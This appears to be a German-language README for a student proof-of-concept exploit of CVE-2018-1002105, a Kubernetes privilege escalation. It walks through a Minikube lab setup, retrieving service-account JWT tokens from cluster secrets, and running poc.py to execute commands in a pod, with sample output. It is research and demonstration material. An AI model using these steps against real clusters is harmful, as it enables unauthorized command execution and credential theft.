
Proof-of-Concept-Exploit für CVE-2018-1002105, eine Kubernetes-Privilegieneskalationssicherheitslücke, die eine unbefugte Befehlsausführung in Pods über den kube-apiserver ermöglicht.
Mitglieder: Abhishek Rungta, Shubham Saini, Siddhant Sood
Wir haben ein VirtualBox-Image (.ova-Datei) bereitgestellt. Laden Sie es herunter und erstellen Sie eine VM daraus. Die bereitgestellte OVA ist bereits mit Docker v18.09 und Minikube v1.9.0 konfiguriert.
Da unser virtuelles Image bereits Minikube und die erforderlichen Kubernetes-Versionen enthält, führen Sie einfach den folgenden Befehl aus, um Minikube zu starten:
minikube start --kubernetes-version=v1.12.2
Erstellen Sie einen neuen Benutzer und einen Namespace und weisen Sie dem erstellten Benutzer eine RBAC-Rolle mit dem folgenden Befehl zu.
kubectl apply -f fixing_policy.yml
kubectl edit configmaps kube-proxy --namespace=kube-system
Ändern Sie den Wert von maxPerCore auf 0
Führen Sie zuerst den folgenden Befehl aus, um alle im System gespeicherten JWT-Token abzurufen.
kubectl get secrets -A
Um das Secret des erstellten Benutzers zu erhalten, führen Sie den folgenden Befehl aus:
kubectl -n [namespace] get secrets [user-token] -o json
Dann Base64-dekodieren.
export TOKEN=$(echo TOKEN | base64 -d)
echo $TOKEN
kubectl cluster-info
kubectl run --image=nginx:alpine securenginx -n poc
Geben Sie alle erforderlichen Argumente an:
-t für das Ziel > ip:port (erforderlich)
-j für das JWT-Token des Benutzers (erforderlich)
-p für den Pod (erforderlich)
-n für den Namespace
-m für die Methode (erforderlich)
-c für den Container
-x für den Angreiferbefehl
Input
./poc.py -t [IP:Port] -j [token] -p [pod] -n [namespace] -m attach -x "command"
./poc.py -t 127.0.0.1:32768 -j $TOKEN -p securenginx -m attach -n poc -x "ifconfig eth0"
Output
eth0 Link encap:Ethernet HWaddr 02:42:AC:11:00:02
inet addr:172.17.0.2 Bcast:172.17.255.255 Mask:255.255.0.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1313 errors:0 dropped:0 overruns:0 frame:0
TX packets:1224 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:217603 (212.5 KiB) TX bytes:428778 (418.7 KiB)
{"metadata":{},"status":"Success"}
Demo-Video Link